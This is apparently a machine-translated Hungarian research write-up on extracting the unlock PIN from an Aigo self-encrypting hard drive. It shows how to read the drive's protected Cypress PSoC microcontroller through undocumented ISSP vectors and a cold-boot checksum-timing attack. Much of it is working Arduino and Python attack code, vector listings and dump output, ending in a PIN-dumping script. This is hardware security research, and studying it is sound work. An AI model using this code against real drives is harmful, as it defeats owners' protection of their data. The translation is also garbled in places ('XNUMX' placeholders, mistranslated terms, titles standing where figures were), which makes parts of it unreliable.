Aigo öntitkosító külső HDD meghajtó visszafordítása és feltörése. 2. rész: Kirakás a Cypress PSoC-ből

Ez a cikk második és egyben utolsó része a külső öntitkosító meghajtók feltöréséről. Hadd emlékeztessem önöket, hogy egy kollégám nemrég hozott nekem egy Patriot (Aigo) SK8671-es merevlemezt, és úgy döntöttem, megfordítom, és most megosztom, mi sült ki belőle. Mielőtt tovább olvasol, mindenképpen olvasd el első rész cikket.

4. Elkezdjük kiíratni a belső PSoC flash meghajtót
5. ISSP protokoll
– 5.1. Mi az ISSP
– 5.2. Demisztifikáló vektorok
– 5.3. Kommunikáció a PSoC-vel
– 5.4. A chipregiszterek azonosítása
– 5.5. Biztonsági bitek
6. Első (sikertelen) támadás: ROMX
7. Második támadás: Cold Boot Tracing
– 7.1. Végrehajtás
– 7.2. Az eredmény olvasása
– 7.3. Flash bináris rekonstrukció
– 7.4. A PIN kód tárolási címének megkeresése
– 7.5. A 126-os blokk lerakása
– 7.6. PIN kód visszaállítás
8. Mi a következő lépés?
9. következtetés

Aigo öntitkosító külső HDD meghajtó visszafordítása és feltörése. 2. rész: Kirakás a Cypress PSoC-ből


4. Elkezdjük kiíratni a belső PSoC flash meghajtót

Tehát minden azt jelzi (ahogyan az [első részben]() megállapítottuk), hogy a PIN kód a PSoC vaku mélységeiben van tárolva. Ezért ki kell olvasnunk ezeket a villanásmélységeket. A szükséges munkák eleje:

  • vegye át az irányítást a mikrokontrollerrel való „kommunikáció” felett;
  • megtalálni a módját annak ellenőrzésére, hogy ez a „kommunikáció” védve van-e a kívülről történő olvasástól;
  • találjon módot a védelem megkerülésére.

Két helyen érdemes érvényes PIN kódot keresni:

  • belső flash memória;
  • SRAM, ahol a pin kód tárolható, hogy összehasonlítsa a felhasználó által beírt PIN kóddal.

A jövőre nézve megjegyzem, hogy az ISSP protokoll dokumentálatlan képességeinek megfordítása után még sikerült kidobnom a belső PSoC flash meghajtót – megkerülve annak biztonsági rendszerét a „cold boot tracing” nevű hardvertámadással. Ez lehetővé tette számomra, hogy közvetlenül kiírjam a tényleges PIN-kódot.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Végső programkód:

5. ISSP protokoll

5.1. Mi az ISSP

A mikrokontrollerrel való „kommunikáció” különböző dolgokat jelenthet: a „szállítótól a szállítóig” a soros protokollon keresztüli interakcióig (például ICSP a Microchip PIC-je számára).

A Cypressnek erre van saját, szabadalmaztatott protokollja, az úgynevezett ISSP (in-system serial programing protocol), amely részben a műszaki specifikáció. US7185162 számú szabadalom is ad némi információt. Van egy nyílt forráskódú megfelelője is, HSSP néven (kicsit később használjuk). Az ISSP a következőképpen működik:

  • indítsa újra a PSoC-t;
  • adja ki a mágikus számot a PSoC soros adattűjére; belépni a külső programozási módba;
  • parancsok küldése, amelyek hosszú bitsorok, amelyeket "vektoroknak" neveznek.

Az ISSP dokumentációja ezeket a vektorokat csak néhány parancshoz határozza meg:

  • Inicializálás-1
  • Inicializálás-2
  • Inicializálás-3 (3V és 5V opciók)
  • ID-BEÁLLÍTÁS
  • READ-ID-WORD
  • SET-BLOCK-NUM: 10011111010dddddddd111, ahol dddddddd=blokk#
  • TÖMEGES TÖRLÉS
  • PROGRAMBLOKK
  • VERIFY-SETUP
  • READ-BYTE: 10110aaaaaaZDDDDDDDDZ1, ahol DDDDDDDD = adatok kimennek, aaaaaa = cím (6 bit)
  • WRITE-BYTE: 10010aaaaaadddddddd111, ahol dddddddd = adat be, aaaaaa = cím (6 bit)
  • BIZTONSÁGOS
  • ELLENŐRZŐSZUM-BEÁLLÍTÁS
  • ELLENŐRZŐ SUM: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, ahol DDDDDDDDDDDDDDDDDD = adatkiadás: eszköz ellenőrző összege
  • BLOCK TÖRLÉSE

Például az Initialize-2 vektora:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Minden vektor azonos hosszúságú: 22 bit. A HSSP-dokumentáció további információkat tartalmaz az ISSP-ről: „Az ISSP-vektor nem más, mint egy bitsorozat, amely egy utasításkészletet képvisel.”

5.2. Demisztifikáló vektorok

Találjuk ki, mi folyik itt. Kezdetben azt feltételeztem, hogy ugyanezek a vektorok az M8C utasítások nyers változatai, de miután ellenőriztem ezt a hipotézist, rájöttem, hogy a műveletek műveleti kódjai nem egyeznek.

Aztán rákerestem a google-ban a fenti vektorra és rájöttem ez egy tanulmány, ahol a szerző, bár nem megy bele a részletekbe, néhány hasznos tippet ad: „Minden utasítás három bittel kezdődik, amelyek a négy mnemonika valamelyikének felelnek meg (olvasás RAM-ból, írás RAM-ba, regiszter olvasása, regiszter írása). Aztán van 8 címbit, ezt követi 8 adatbit (olvasás vagy írás), végül három stopbit.

Ezután nagyon hasznos információkat tudtam összegyűjteni a "Felügyeleti ROM (SROM)" részből műszaki leírás. Az SROM egy kemény kódolt ROM a PSoC-ben, amely segédfunkciókat biztosít (a Syscallhoz hasonlóan) a felhasználói térben futó programkódokhoz:

  • 00h:SWBootReset
  • 01h: ReadBlock
  • 02h: WriteBlock
  • 03h: EraseBlock
  • 06h: Táblázatolvasás
  • 07h: Check Sum
  • 08h: Kalibrálás0
  • 09h: Kalibrálás1

A vektornevek és az SROM függvények összehasonlításával a protokoll által támogatott különféle műveleteket leképezhetjük a várt SROM paraméterekre. Ennek köszönhetően dekódolhatjuk az ISSP vektorok első három bitjét:

  • 100 => "wrem"
  • 101 => "rdmem"
  • 110 => "wrreg"
  • 111 => "rdreg"

A chipen belüli folyamatok teljes megértése azonban csak a PSoC-vel való közvetlen kommunikáció révén érhető el.

5.3. Kommunikáció a PSoC-vel

Mivel Dirk Petrautsky már portolt A Cypress HSSP kódja Arduino-n, Arduino Uno segítségével csatlakoztam a billentyűzet ISSP csatlakozójához.

Kérjük, vegye figyelembe, hogy kutatásom során meglehetősen sokat változtattam Dirk kódján. A módosításomat megtalálod a GitHubon: itt és a megfelelő Python-szkript az Arduino-val való kommunikációhoz, a tárhelyemben cypress_psoc_tools.

Tehát az Arduino használatával először csak a „hivatalos” vektorokat használtam a „kommunikációhoz”. Megpróbáltam beolvasni a belső ROM-ot a VERIFY paranccsal. Ahogy az várható volt, ezt nem tudtam megtenni. Valószínűleg annak a ténynek köszönhető, hogy az olvasásvédelmi bitek aktiválódnak a flash meghajtón belül.

Aztán létrehoztam néhány saját egyszerű vektoromat a memória/regiszterek írására és olvasására. Felhívjuk figyelmét, hogy a teljes SROM-ot be tudjuk olvasni annak ellenére, hogy a pendrive védett!

5.4. A chipregiszterek azonosítása

A „szétszedett” vektorok áttekintése után rájöttem, hogy a készülék nem dokumentált regisztereket (0xF8-0xFA) használ az M8C műveleti kódok megadására, amelyek közvetlenül, a védelmet megkerülve hajtódnak végre. Ez lehetővé tette számomra, hogy különféle műveleti kódokat futtassak, például "ADD", "MOV A, X", "PUSH" vagy "JMP". Nekik köszönhetően (a regiszterekre gyakorolt ​​​​mellékhatások alapján) meg tudtam határozni, hogy a nem dokumentált regiszterek közül melyik volt a tényleges regiszter (A, X, SP és PC).

Ennek eredményeként a HSSP_disas.rb eszköz által generált „szétszedett” kód így néz ki (az egyértelműség kedvéért megjegyzéseket tettem hozzá):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Biztonsági bitek

Ebben a szakaszban már tudok kommunikálni a PSoC-vel, de még mindig nincs megbízható információm a flash meghajtó biztonsági bitjeiről. Nagyon meglepett, hogy a Cypress semmilyen eszközt nem biztosít a készülék használójának, hogy ellenőrizze, hogy a védelem aktiválva van-e. Mélyebbre ástam a Google-t, hogy végre megértsem, a Cypress által biztosított HSSP kód frissítésre került, miután Dirk kiadta a módosítását. És aztán! Megjelent ez az új vektor:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Ezzel a vektorral (lásd read_security_data a psoc.py-ben) megkapjuk az összes biztonsági bitet az SRAM-ban 0x80-ban, ahol védett blokkonként két bit van.

Az eredmény lehangoló: a „külső olvasás és írás letiltása” módban minden védett. Ezért a pendrive-ról nem csak olvasni nem tudunk semmit, de írni sem (például ROM dumpert telepíteni). A védelem letiltásának egyetlen módja a teljes chip teljes törlése. 🙁

6. Első (sikertelen) támadás: ROMX

Kipróbálhatjuk azonban a következő trükköt: mivel lehetőségünk van tetszőleges műveleti kódok végrehajtására, miért ne hajthatnánk végre a ROMX-et, ami a flash memória olvasására szolgál? Ennek a megközelítésnek jó esélye van a sikerre. Mert a ReadBlock függvény, amely az SROM-ból adatokat olvas be (amelyet a vektorok használnak), ellenőrzi, hogy az ISSP-ről van-e meghívva. Elképzelhető azonban, hogy a ROMX műveleti kód nem rendelkezik ilyen ellenőrzéssel. Tehát itt van a Python kód (miután néhány segédosztályt hozzáadtunk az Arduino kódhoz):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Sajnos ez a kód nem működik. 🙁 Illetve működik, de a kimeneten saját opkódokat kapunk (0x28 0x30 0x40)! Nem hiszem, hogy az eszköz megfelelő funkcionalitása az olvasásvédelem eleme. Ez inkább egy mérnöki trükk: külső műveleti kódok végrehajtásakor a ROM busz egy ideiglenes pufferbe kerül átirányításra.

7. Második támadás: Cold Boot Tracing

Mivel a ROMX trükk nem működött, elkezdtem gondolkodni ennek a trükknek egy másik változatán - a kiadványban leírtak szerint "Túl sok fény a mikrokontroller firmware védelmére".

7.1. Végrehajtás

Az ISSP dokumentációja a következő vektort tartalmazza az ELLENŐRZŐ SZUM BEÁLLÍTÁSÁRA:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Ez lényegében a 0x07 SROM függvényt hívja, amint azt a dokumentációban is bemutattuk (az enyém dőlt betűvel):

Ez a funkció ellenőrzőösszeg ellenőrzése. Kiszámítja egy 16 bites ellenőrző összeget a felhasználó által megadott blokkok számáról egy flash bankban, nullától kezdve. A BLOCKID paraméter az ellenőrző összeg kiszámításakor használt blokkok számának átadására szolgál. Az "1" érték csak a nulla blokk ellenőrző összegét számítja ki; mivel A "0" a flash bank mind a 256 blokkjának teljes ellenőrző összegét számítja ki. A 16 bites ellenőrző összeget a KEY1 és KEY2 keresztül adja vissza. A KEY1 paraméter az ellenőrző összeg alacsonyabb rendű 8 bitjét, a KEY2 paraméter pedig a magasabb rendű 8 bitet tárolja. A több flash bankkal rendelkező készülékeknél az ellenőrzőösszeg funkciót mindegyikhez külön hívják meg. A bankszámot, amellyel működni fog, az FLS_PR1 regiszter állítja be (a benne lévő cél flash banknak megfelelő bit beállításával).

Vegye figyelembe, hogy ez egy egyszerű ellenőrző összeg: a bájtok egyszerűen egymás után kerülnek hozzáadásra; nincsenek divatos CRC furcsaságok. Ezenkívül, tudva, hogy az M8C magnak nagyon kicsi a regiszterkészlete, feltételeztem, hogy az ellenőrző összeg kiszámításakor a közbenső értékeket ugyanazokban a változókban rögzítik, amelyek végül a kimenetre kerülnek: KEY1 (0xF8) / KEY2 ( 0xF9).

Tehát elméletben a támadásom így néz ki:

  1. ISSP-n keresztül csatlakozunk.
  2. Az ellenőrző összeg számítását a CHECKSUM-SETUP vektorral kezdjük.
  3. Újraindítjuk a processzort egy megadott idő elteltével T.
  4. Kiolvassuk a RAM-ot, hogy megkapjuk az aktuális C ellenőrzőösszeget.
  5. Ismételje meg a 3. és 4. lépést, minden alkalommal kissé növelve a T értéket.
  6. Az adatokat a flash meghajtóról úgy állítjuk vissza, hogy kivonjuk az előző C ellenőrző összeget az aktuálisból.

Van azonban egy probléma: az Initialize-1 vektor, amelyet újraindítás után el kell küldenünk, felülírja a KEY1 és KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Ez a kód felülírja értékes ellenőrző összegünket a Calibrate1 meghívásával (9. SROM funkció)... Lehet, hogy csak elküldhetjük a varázsszámot (a fenti kód elejéről), hogy belépjünk a programozási módba, majd leolvassuk az SRAM-ot? És igen, működik! A támadást végrehajtó Arduino kód meglehetősen egyszerű:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Olvassa el a checkum_delay.
  2. Futtassa az ellenőrzőösszeg számítását (send_checksum_v).
  3. Várjon egy meghatározott ideig; figyelembe véve a következő buktatókat:
    • Sok időt elpazaroltam, amíg megtudtam, mi lett belőle késleltetésMikromásodperc csak 16383 μs-ot meg nem haladó késleltetéssel működik megfelelően;
    • majd megint elölt ugyanannyi időt, míg rájöttem, hogy a delayMicroseconds, ha 0-t adunk át neki bemenetként, teljesen rosszul működik!
  4. Indítsa újra a PSoC-t programozási módba (csak elküldjük a varázsszámot, inicializálási vektorok küldése nélkül).

Végső kód Pythonban:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

Dióhéjban, mit csinál ez a kód:

  1. Újraindítja a PSoC-t (és varázsszámot küld neki).
  2. Teljes inicializálási vektorokat küld.
  3. Meghívja a Cmnd_STK_START_CSUM (0x85) Arduino függvényt, ahol a mikroszekundumban mért késleltetés paraméterként kerül átadásra.
  4. Beolvassa az ellenőrző összeget (0xF8 és 0xF9) és a nem dokumentált 0xF1 regisztert.

Ez a kód 10-szer kerül végrehajtásra 1 mikroszekundum alatt. A 0xF1 azért szerepel itt, mert ez volt az egyetlen regiszter, amely változott az ellenőrző összeg kiszámításakor. Talán ez valamiféle ideiglenes változó, amelyet az aritmetikai logikai egység használ. Jegyezze meg azt a csúnya hackelést, amelyet az Arduino alaphelyzetbe állításához használok picocom segítségével, amikor az Arduino már nem mutat életjeleket (fogalmam sincs, miért).

7.2. Az eredmény olvasása

A Python szkript eredménye így néz ki (az olvashatóság kedvéért leegyszerűsítve):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

Ennek ellenére van egy problémánk: mivel tényleges ellenőrzőösszeggel dolgozunk, a null byte nem változtatja meg a beolvasott értéket. Mivel azonban a teljes számítási eljárás (8192 bájt) 0,1478 másodpercet vesz igénybe (minden egyes futtatáskor kis eltérésekkel), ami kb. 18,04 μs-nak felel meg bájtonként, ezt az időt felhasználhatjuk az ellenőrzőösszeg értékének megfelelő időpontokban történő ellenőrzésére. Az első futtatásoknál minden meglehetősen könnyen olvasható, mivel a számítási eljárás időtartama mindig közel azonos. Ennek a kiírásnak a vége azonban kevésbé pontos, mivel az egyes futások „kisebb időzítési eltérései” jelentőssé válnak:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Ez 10 dump minden mikromásodperces késleltetésért. A flash meghajtó 8192 bájtjának teljes működési ideje körülbelül 48 óra.

7.3. Flash bináris rekonstrukció

Még nem fejeztem be annak a kódnak a megírását, amely teljesen rekonstruálja a flash meghajtó programkódját, figyelembe véve az összes időbeli eltérést. Ennek a kódnak az elejét azonban már visszaállítottam. Hogy megbizonyosodjunk arról, hogy jól csináltam, az m8cdis segítségével szétszedtem:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Elég hihetőnek tűnik!

7.4. A PIN kód tárolási címének megkeresése

Most, hogy az ellenőrző összeget a szükséges időpontokban olvashatjuk, könnyen ellenőrizhetjük, hogyan és hol változik, amikor:

  • rossz PIN kódot írjon be;
  • módosítsa a pin kódot.

Először is, hogy megtaláljam a hozzávetőleges tárhelycímet, egy újraindítás után 10 ms-os lépésekben ellenőrző összeg-kiíratást végeztem. Aztán rossz PIN-kódot adtam meg, és ugyanezt tettem.

Az eredmény nem volt túl kellemes, mivel sok változás történt. De végül sikerült meghatároznom, hogy az ellenőrző összeg valahol 120000 140000 µs és 0 XNUMX µs késleltetés között változott. De az ott megjelenített „pinkód” teljesen helytelen volt – a delayMicroseconds eljárás egy műterméke miatt, amely furcsa dolgokat művel, ha XNUMX-t adunk át neki.

Majdnem 3 óra eltöltése után eszembe jutott, hogy az SROM rendszerhívás CheckSum olyan argumentumot kap bemenetként, amely az ellenőrzőösszeg blokkjainak számát adja meg! Hogy. a PIN kód tárolási címét és a „hibás próbálkozások” számlálóját könnyedén, akár 64 bájtos blokk pontossággal lokalizálhatjuk.

Az első futásaim a következő eredményeket produkálták:

Aigo öntitkosító külső HDD meghajtó visszafordítása és feltörése. 2. rész: Kirakás a Cypress PSoC-ből

Aztán megváltoztattam a PIN kódot „123456”-ról „1234567”-re, és ezt kaptam:

Aigo öntitkosító külső HDD meghajtó visszafordítása és feltörése. 2. rész: Kirakás a Cypress PSoC-ből

Így úgy tűnik, hogy a PIN kód és a hibás próbálkozások számlálója a 126-os blokkban tárolódik.

7.5. A 126-os blokk lerakása

A 126-os blokknak valahol 125x64x18 = 144000 μs körül kell elhelyezkednie, az ellenőrzőösszeg-számítás kezdetétől fogva, a teljes kiíratomban, és ez meglehetősen hihetőnek tűnik. Ezután számos érvénytelen dump kézi kiszűrése után (a „kisebb időzítési eltérések” felhalmozódása miatt) ezeket a bájtokat kaptam (145527 μs késleltetéssel):

Aigo öntitkosító külső HDD meghajtó visszafordítása és feltörése. 2. rész: Kirakás a Cypress PSoC-ből

Nyilvánvaló, hogy a PIN kód titkosítatlan formában van tárolva! Ezeket az értékeket természetesen nem ASCII kódokba írjuk, hanem mint kiderült, a kapacitív billentyűzetről vett értékeket tükrözik.

Végül lefuttattam néhány további tesztet, hogy megtudjam, hol tárolták a rossz kísérletek számlálóját. Íme az eredmény:

Aigo öntitkosító külső HDD meghajtó visszafordítása és feltörése. 2. rész: Kirakás a Cypress PSoC-ből

0xFF – „15 próbálkozást” jelent, és minden sikertelen próbálkozással csökken.

7.6. PIN kód visszaállítás

Íme az én csúnya kódom, ami összerakja a fentieket:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Íme a végrehajtás eredménye:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Hurrá! Művek!

Kérjük, vegye figyelembe, hogy az általam használt késleltetési értékek valószínűleg egy adott PSoC-ra vonatkoznak – az általam használtra.

8. Mi a következő lépés?

Tehát foglaljuk össze a PSoC oldalt, az Aigo meghajtónkkal összefüggésben:

  • az SRAM-ot akkor is tudjuk olvasni, ha olvasásvédett;
  • Az ellopás elleni védelmet hidegindítási nyomkövetési támadással és a PIN kód közvetlen leolvasásával megkerülhetjük.

A támadásunknak azonban vannak hibái a szinkronizálási problémák miatt. A következőképpen lehetne javítani:

  • írjon egy segédprogramot a „cold boot trace” támadás eredményeként kapott kimeneti adatok helyes dekódolásához;
  • használjon FPGA modult a pontosabb késleltetések létrehozásához (vagy használjon Arduino hardveres időzítőket);
  • próbáljon ki egy másik támadást: írjon be szándékosan hibás PIN-kódot, indítsa újra a rendszert, és törölje ki a RAM-ot, remélve, hogy a helyes PIN-kód mentésre kerül a RAM-ban összehasonlítás céljából. Ez azonban Arduinón nem olyan egyszerű, hiszen az Arduino jelszintje 5 volt, míg az általunk vizsgált tábla 3,3 voltos jelekkel működik.

Egy érdekes dolog, amit ki lehetne próbálni, az az, hogy a feszültségszinttel játszunk, hogy megkerüljük az olvasásvédelmet. Ha ez a megközelítés működne, akkor teljesen pontos adatokat kaphatnánk a flash meghajtóról – ahelyett, hogy pontatlan időzítési késleltetésekkel számolnánk be az ellenőrző összeget.

Mivel az SROM valószínűleg a ReadBlock rendszerhíváson keresztül olvassa be a védőbiteket, ugyanezt tehetjük leírta Dmitrij Nedospasov blogján – a konferencián bejelentett Chris Gerlinski támadásának újbóli megvalósítása „REcon Brussels 2017”.

Egy másik szórakoztató dolog, amit meg lehetne tenni, az, hogy ledaráljuk a házat a chipről: SRAM-kiíratást készítünk, azonosítjuk a nem dokumentált rendszerhívásokat és sebezhetőségeket.

9. következtetés

Szóval ennek a meghajtónak a védelme sok kívánnivalót hagy maga után, mert egy rendes (nem „edzett”) mikrokontrollert használ a PIN kód tárolására... Ráadásul (még) nem néztem meg, hogy mennek a dolgok az adatokkal titkosítás ezen az eszközön!

Mit tudtok ajánlani Aigónak? A titkosított merevlemez-meghajtók néhány modelljének elemzése után 2015-ben elkészítettem előadás a SyScan-en, melyben több külső HDD meghajtó biztonsági problémáit vizsgálta, és ajánlásokat fogalmazott meg, hogy mit lehetne rajtuk javítani. 🙂

Két hétvégét és több estét töltöttem ezzel a kutatással. Összesen kb 40 óra. Számolás a legelejétől (amikor kinyitottam a lemezt) a végéig (PIN kód kiírás). Ugyanebbe a 40 órába beletartozik a cikk írásával töltött idő is. Nagyon izgalmas utazás volt.

Forrás: will.com

Hozzászólás